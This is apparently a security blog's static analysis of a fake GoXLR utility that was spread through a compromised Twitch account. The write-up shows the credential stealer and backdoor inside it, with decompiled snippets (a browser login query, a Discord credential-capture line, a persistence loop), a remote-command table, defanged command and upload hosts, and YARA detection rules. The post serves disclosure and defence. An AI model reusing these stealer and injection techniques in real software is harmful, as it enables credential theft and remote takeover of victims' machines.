Skip to main content

SYS.CORE // SECURE UPLINK ESTABLISHED

STATUS: ONLINE

· 14 min read

On November 12, Melmsie messaged me with "I had an interesting stream."

Apparently, Thomas Middleditch's verified Twitch account (yeah, the guy from Silicon Valley) had been in his chat giving him audio advice. Melmsie already followed the account and had watched Thomas stream multiple times.

Melmsie's screenshots show how it went. In Twitch chat, the account asked what mic he was using, asked if it was a Shure SM7B, asked whether he ran any EQ on it, and offered to screenshot its own settings "since we both stream and i have the same mic." The rest happened on Discord, where an account named "middleditch" with a default avatar sent compressor, EQ, and gate screenshots with a note to copy them exactly. Then it got to the point:

"i use the virtual one, not the physical one"

"like without the device"

A link to goxlr[.]studio followed, supposedly offering GoXLR virtual audio software. I don't know how the conversation got from Twitch chat to Discord, but I assume through Melmsie's stream.

Melmsie said his audio wasn't perfect, and advice from a voice actor wasn't exactly out of left field. You can see why he paused before deciding the whole thing was sketchy.

He also paused before downloading it, so Ws in the chat.

"I told him I'd check it out off stream and then didn't download it, on purpose"

The Discord account was a lookalike. Later that day the real Middleditch started streaming, and Melmsie told him what his Twitch account had been up to. By Melmsie's account he was very confused, and he ended the stream to run a malware scan. The two of them later talked on Discord, this time through Middleditch's real account, and I passed some remediation advice along through Melmsie.

That advice assumed the same stealer was behind the Twitch account takeover. That's an assumption: I haven't established how the account was compromised, and I haven't spoken with Middleditch. This side of the story rests on Melmsie's screenshots and our Discord conversation.

I was on a bus to SeaTac when Melmsie sent the link, so I had an analysis agent start pulling the download apart. His response was that I was having my "netrunner look into it" and we were apparently in 2077. Computah, analyze dis malware pwease.

The result was considerably less funny: the file contained a credential stealer and a backdoor. The technical findings below come from static analysis: unpacking, decrypting, and reading the program without running it. I didn't contact its command server or upload-configuration endpoint.

Credit to Melmsie for reporting this and holding off on the download. For those who don't know them, Melmsie runs one of the largest game bots on Discord. This could have been a bad day and highlights how taking a moment to think can be the difference between a near miss and a really, really shitty day.

What the download does

The recovered code lays out this flow:

  1. A visitor downloads goxlr-utility-1.3.1.zip and runs the executable inside.
  2. A Node.js wrapper decrypts an embedded bundle containing a Java runtime and another encrypted payload.
  3. The wrapper writes the decrypted Java application to a temporary .dat file, starts it with javaw.exe, and exits.
  4. The Java application attempts persistence, starts a remote-control connection, and collects browser credentials, Discord tokens, wallet files, and recovery material.
  5. Its uploader resolves a destination through a separate configuration endpoint and prepares the collected data for transfer. The remote-control code also lets an operator issue commands, download more programs, and patch Discord to capture a fresh login.

The GoXLR part doesn't hold up

There is a legitimate community project called GoXLR Utility. Its README at the v1.2.4 source commit describes a tool for controlling GoXLR and GoXLR Mini hardware and points people to GitHub releases. It is itself an unofficial alternative to TC-Helicon's application.

The site Melmsie sent advertised a hardware-independent virtual mixer, the same "without the device" pitch as the Discord messages, and a 1.3.1 download. The community project's latest release was v1.2.4, published February 23, 2026. The GitHub API's version-specific lookup for v1.3.1 returned 404 during the original investigation and again on the November 14 recheck.

CheckDownload Melmsie reportedLegitimate community release
Distributiondownloads.goxlr[.]studioProject's GitHub releases
VersionAdvertised as 1.3.1v1.2.4 at the time of checking
Windows downloadZIP containing a Node.js executableWindows installer executable
Product descriptionVirtual mixer without GoXLR hardwareControl software for GoXLR hardware

The domain was new as well. Registry RDAP records show goxlr[.]studio registered on October 13, 2026, thirty days before Melmsie got the link, through Tucows with Njalla nameservers.

The mismatch and the young domain were reasons to investigate. The credential-theft code is what establishes the verdict. An unsigned executable or a new-looking website wouldn't be enough on its own; the legitimate comparison installer was unsigned too.

The landing page was still returning HTTP 200 at 05:22 UTC on November 14, 2026, with HTML matching the November 12 capture byte for byte. That check covered the page only. I didn't check whether the ZIP still contained the same bytes or the backdoor's server still answered.

Unpacking the "utility"

The November 12 download came from:

hxxps://downloads.goxlr[.]studio/goxlr-utility-1.3.1.zip

The download was acquired at 20:50:38 UTC, and the server reported the ZIP as last modified at 18:31:21 UTC the same day, a little over two hours earlier. The executable inside is stamped November 9, with no timezone.

The ZIP was 62,743,834 bytes and contained a 99,626,051-byte executable. The outer program was a Node.js pkg executable with an embedded virtual filesystem and an entry point of C:\snapshot\launcher\launcher.js.

That launcher was stored as compiled JavaScript, with an encrypted representation of its source embedded alongside it. Offline decoding recovered the source. The executable also carried an encrypted bundle appended to its end; opening that bundle exposed a Java runtime and an encrypted app/p file. Decrypting app/p produced the Java application.

The bundle and inner payload used PBKDF2-HMAC-SHA256 with 310,000 iterations, AES-256-GCM, and Brotli compression. The GCM authentication checks passed, and independent unpacking passes produced the same payload hashes.

The launcher is designed to stage the application here:

%TEMP%\cv_cache\1288b52733c5f0e0526892c3394cbbe802923004.dat

That filename comes from the decrypted JAR's SHA-1. Despite the .dat extension, the content is a Java archive. The bundled runtime lives under %TEMP%\nr_cache\<12-character tag>\, and the launch arguments have this shape:

javaw.exe -cp <path-to-the-staged-.dat> g.factory.main.src.stub.c

The child runs detached with its window hidden and standard input/output ignored. The Node process then exits. The recovered launcher even includes this diagnostic text:

node exiting (TM shows java only)

It also writes %TEMP%\node_launcher.log, which can be useful when reconstructing the staging paths and child process. The bundle supplies Java itself, so the intended launch doesn't rely on the victim already having Java installed.

I found no invocation of a genuine GoXLR installer in this recovered launch chain.

The credential stealer

The Java main class calls the browser collector, then the Discord-token, wallet, and recovery-file collectors. These functions are connected to the collection pipeline. Browser names sitting in a string table wouldn't show that.

The Java excerpts below are decompiled code with obfuscated constants decoded. For example, class aD, method p, executes this query against a browser login database:

SELECT origin_url, username_value, password_value FROM logins

It then reads those fields and attempts to process the protected password values. Other collection code queries cookies, autofill, browsing history, and stored payment-card data. The program includes Windows DPAPI calls, additional key-handling logic, and attempts to read browser and LSASS process memory.

Implemented attempts don't mean every current browser protection or protected Windows process will give up its secrets. Available keys, account privileges, browser versions, and endpoint protections can affect the result.

The wallet collector targets local application folders and browser-extension storage, including material associated with MetaMask, Phantom, Exodus, Electrum, and Wasabi. Some copied material may itself be encrypted. References to Ledger Live or Trezor Suite mean host-side application data; they don't prove extraction of private keys from a hardware wallet.

There is also a class named BackupCodesHunter. Subtle.

Its reviewed collection path searches selected user folders for backup and recovery-code filenames, with a two-mebibyte file-size limit. Matching terms include discord_backup_codes, backup_codes, recovery_codes, and proton_recovery. This is a targeted file collector, not evidence that it can magically bypass every form of MFA.

Discord gets a second pass

Startup token collection is only part of the Discord behavior. The backdoor also implements an operator command named discord_inject. Would have been better named rat_bastard_deluxe with what it does.

That handler is designed to stop Discord, clear selected session/cache data, back up resources\app.asar as _app.asar, unpack the application, prepend JavaScript to resources\app\bundle.js, and restart the client. The injected script watches login fields, hides QR-login controls, and extracts a session token from Discord's loaded application modules.

One line in the script embedded in class a4, method L, makes the credential-capture intent fairly obvious:

fs.writeFileSync(path.join(TMP,'dc_login.json'),JSON.stringify({sid:SID,email:d.e||'',password:d.p||'',t:d.t}),'utf8');

The companion token artifact is dc_token.json. Java code then consumes the captured values and prepares them for transfer.

This is an operator-triggered feature, and I haven't established that it runs automatically on every launch. If successfully applied, though, it gives the operator a way to capture a fresh login after disrupting the existing session. Changing a password and immediately typing the new one into the same modified client would be a bad afternoon.

It also takes commands

The decrypted configuration identifies 45.92.1[.]47:9001 as the remote-control server. The startup pipeline launches a thread that uses a plain TCP socket, sends identifying host information, reads incoming command messages, and reconnects after failures. There is no TLS wrapper on this reviewed socket path.

CommandRecovered handler behavior
cmdRun a command through cmd.exe /c and return output and exit status
execDownload a supplied URL to %TEMP%\upd_<timestamp>.exe and attempt to launch it through a scheduled task
tab_completeList directory entries
socks_connectForward traffic between a supplied destination and another connection to the control server
discord_injectApply the Discord modifications described above
relogRelaunch the malware
killDelete the malware's scheduled tasks, caches, and launcher files, and stop its processes
shutdown, restartShut down or restart Windows

The cmd handler in class a4, method r, reaches ProcessBuilder with cmd.exe, /c, and the supplied command. That is remote command execution, on top of the dedicated collection functions.

Because of kill, missing artifacts don't clear a machine: an operator can have the malware remove its own tasks, caches, and launcher files.

There is also a command named screenshot. Its handler returns screenshot unavailable. A command name is not a working feature, so screen capture stays off the capability list.

Data upload uses a separate configuration value:

hxxps://rough-violet-aabc[.]johnathuyoberbrugau69[.]workers[.]dev/cfg

The code asks that endpoint for the final transfer destination, then posts collected archives and metadata. The configured browser archive label is hook-private.zip; another collection archive is logs.zip. Larger uploads have GoFile and temp.sh routes that return a download link for onward delivery.

I didn't request /cfg, so the final upload URL is unknown, and I didn't test the TCP server. These are recovered configuration and code paths. I observed no victim traffic. The remote-control thread is started separately from resolving the upload destination.

Windows maintenance, apparently

The persistence code copies the launcher to:

%LOCALAPPDATA%\Microsoft\Windows\DeliveryOptimization\Cache\<8-hex fingerprint>\MoUsoCoreWorker.exe

It creates a sibling backup named USOShared.exe and marks the files and directories hidden/system. The eight-character folder component is derived from a host fingerprint.

It then attempts to create a logon task with a 30-second delay, trying higher privileges and falling back to limited privileges. The alternative task names are:

\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
\Microsoft\Windows\WDI\ResolutionHost

The creation logic treats these as alternatives, so an installation won't necessarily leave both tasks. The action points at the planted launcher and includes flags such as -elevated-pass -reboot.

Main class c, method B, also contains a maintenance loop:

while (true) {
    Thread.sleep(60000L);
    ++l2;
    Persistence.maintain();
}

Persistence.maintain() can restore missing copies and scheduled-task persistence while the malware remains running. Deleting the downloaded ZIP doesn't address any of that.

This sample deletes the WindowsUpdateAssistant value under the current user's Run key, which is not evidence that it creates a Run-key startup entry there. The supported persistence finding is the planted executables and scheduled tasks.

Declining the initial administrator prompt also doesn't reliably stop it. The recovered branch logs admin denied | continuing without elevation and continues into collection with non-admin flags. A separate path attempts a fodhelper.exe UAC bypass, but I haven't demonstrated that succeeding on a victim machine.

For defenders, match the executable path, hash, task action, and process chain together. A Windows-looking filename on its own is weak evidence, and genuinely installed Windows components can use similar names.

A small detection artifact

These three rules run from narrowest to broadest. The first is the exact-executable rule from the detection set, trimmed for this post: it hashes the file as data and matches the acquired wrapper regardless of its filename. The second matches the parts of the wrapper that aren't encrypted, so a rebuild with a new payload or key should still hit. The third looks for the stealer's class names in an unencrypted Java archive, which is what the launcher stages on disk as a .dat file.

import "hash"

rule GoXLR_Studio_20261112_Exact_EXE
{
    meta:
        description = "Exact Node pkg wrapper posing as GoXLR Utility 1.3.1"
        date = "2026-11-12"
        confidence = "Exact identity match; no variant coverage"
    condition:
        filesize == 99626051 and
        hash.sha256(0, filesize) == "936ad58ce9a24c2630c26b92afe79d6ef504d5b3c815fa5fa159dbc71a1e7321"
}

rule GoXLR_Studio_Sealed_Pkg_Wrapper
{
    meta:
        description = "Node pkg executable that ships the vault loader modules and carries a sealed bundle appended after the pkg payload"
        date = "2026-11-14"
        reference_sha256 = "936ad58ce9a24c2630c26b92afe79d6ef504d5b3c815fa5fa159dbc71a1e7321"
        confidence = "Structural; survives a new payload, key, or build ID. Investigate hits, not a family attribution"
        scope = "Reads only what the wrapper leaves unencrypted; does not decrypt or inspect the Java payload"
        limitations = "Renamed loader modules or a different tail layout evade it"
    strings:
        $pkg_prelude_signature = "VIRTUAL_FILESYSTEM, DEFAULT_ENTRYPOINT, SYMLINKS, DICT, DOCOMPRESS" ascii
        $vault_key_module_path = "_vault.js\":" ascii
        $vault_crypto_module_path = "vault-crypto.js\":" ascii
    condition:
        uint16(0) == 0x5A4D and
        filesize > 30MB and filesize < 500MB and
        all of them and
        // Tail layout: uint64 little-endian sealed length, then a 4-byte build marker.
        uint32(filesize - 8) == 0 and
        uint32(filesize - 12) > 1MB and
        uint32(filesize - 12) < filesize - 12 and
        // The sealed bundle starts after pkg's own file table, so it was appended to a finished pkg build.
        @vault_crypto_module_path[1] < filesize - 12 - uint32(filesize - 12)
}

rule GoXLR_Studio_Stub_Jar_Class_Names
{
    meta:
        description = "Unencrypted ZIP/JAR containing the stealer's distinctively named collector classes, such as the payload staged as a .dat file"
        date = "2026-11-14"
        reference_sha256 = "62c0a395da518fbd4ff11244bb76f39ba4a1c4c4e858ee4a97b28464c38bbf41"
        confidence = "Heuristic; investigate hits, not a family attribution"
        scope = "Matches entry names in an unencrypted archive; cannot see them inside the sealed wrapper"
        limitations = "Class renaming evades it; the names can be copied into benign test archives"
    strings:
        $stub_class_backup_codes_hunter = "/BackupCodesHunter.class" ascii
        $stub_class_harvest_keywords = "/HarvestKeywords.class" ascii
        $stub_class_user_folder_paths = "/UserFolderPaths.class" ascii
    condition:
        uint32(0) == 0x04034b50 and
        filesize < 50MB and
        2 of ($stub_class_*)
}

The exact rule won't match a rebuilt wrapper. The wrapper rule doesn't decrypt anything. It keys on two loader module names that pkg leaves readable in its file table, _vault.js and vault-crypto.js, and on the length footer that points back to the appended bundle; rename the modules or change the tail layout and it misses. The class rule can't see inside the encrypted wrapper, and renamed classes evade it. Treat hits on the second and third rules as leads to investigate. None of the three is a family-wide signature.

The original detection set compiled and passed seven positive/negative checks, including controls using the legitimate installer and bundled Java components. The wrapper rule was added afterwards and checked against the sample, a corrupted copy of it with a different hash, four benign executables (the legitimate installer, a stock Node.js runtime, a bare pkg runtime, and an unrelated pkg-built application), and three near-miss files built to have only some of its features. The class rule relaxes the original class-layout heuristic, which matched the recovered JAR. Its new form has only been checked against synthetic archives and a few ordinary Java libraries. None of that is a broad false-positive study.

Where that leaves this

The November 12 sample is malicious with high confidence. The recovered application implements credential collection, transfer, scheduled-task persistence, and configured remote control. I found no basis to attribute it to a particular malware family or operator.

For someone who did run this executable, the response needs to cover possible credential theft and remote access: isolate the machine, preserve relevant evidence, revoke sessions, and change exposed credentials from a clean device. Don't type replacement credentials into the suspect Discord installation. Removing only the known files cannot rule out additional commands or payloads; a rebuild from trusted media provides stronger assurance.

Indicators

These refer to the bytes acquired on November 12, 2026. A URL can later serve something different. Domains and IPs are defanged.

IndicatorRole
goxlr[.]studioLure website; landing page rechecked November 14
downloads.goxlr[.]studio/goxlr-utility-1.3.1.zipOriginal sample download
31.57.219[.]76Both distribution hostnames resolved here on November 12; not the recovered command server
45.92.1[.]47:9001Configured TCP remote-control destination
rough-violet-aabc[.]johnathuyoberbrugau69[.]workers[.]dev/cfgConfigured endpoint for resolving the upload destination
g.factory.main.src.stub.cJava entry class passed to the bundled runtime
%TEMP%\cv_cache\1288b52733c5f0e0526892c3394cbbe802923004.datDecrypted Java application staged by the launcher
%TEMP%\node_launcher.logLauncher diagnostic log
%TEMP%\dc_login.json, %TEMP%\dc_token.jsonCapture artifacts from the Discord-injection feature

Malicious artifact hashes

ArtifactSize in bytesSHA-256
Downloaded ZIP62,743,8349fbf0cacb304deffbf2ca3ac61721ebd114aff6aa14800c4e776b182bd7e92ed
Contained EXE99,626,051936ad58ce9a24c2630c26b92afe79d6ef504d5b3c815fa5fa159dbc71a1e7321
Decrypted Java JAR10,177,03062c0a395da518fbd4ff11244bb76f39ba4a1c4c4e858ee4a97b28464c38bbf41

The legitimate goxlr-utility-1.2.4.exe comparison installer had SHA-256 0a8743d27ea5d1741956aecfc3ae26c0f7399945cf29d2bb6b3dab459e86ac2f. That comparison hash is not a malicious indicator. Its locally calculated digest matched the GitHub release metadata.

Sources and evidence

  • Initial report: Melmsie's November 12, 2026 Discord conversation with me and his screenshots of the Twitch chat and the lookalike Discord account's messages. They record his account of the interaction, his decision not to download the file, and what he told me about Middleditch's reaction.
  • Sample evidence: preserved November 12 ZIP and executable, with the download's response headers; authenticated recovery of the launcher and Java payload; decoded configuration; static review of the main class, collectors, command dispatcher, uploader, and Persistence class. File hashes above identify the exact artifacts behind the findings.
  • Legitimate project: README pinned to the v1.2.4 commit, v1.2.4 release, and release API.
  • Domain registration: registry RDAP record for the lure domain, retrieved November 12.
  • Website availability: saved HTML and response headers from the November 14 check.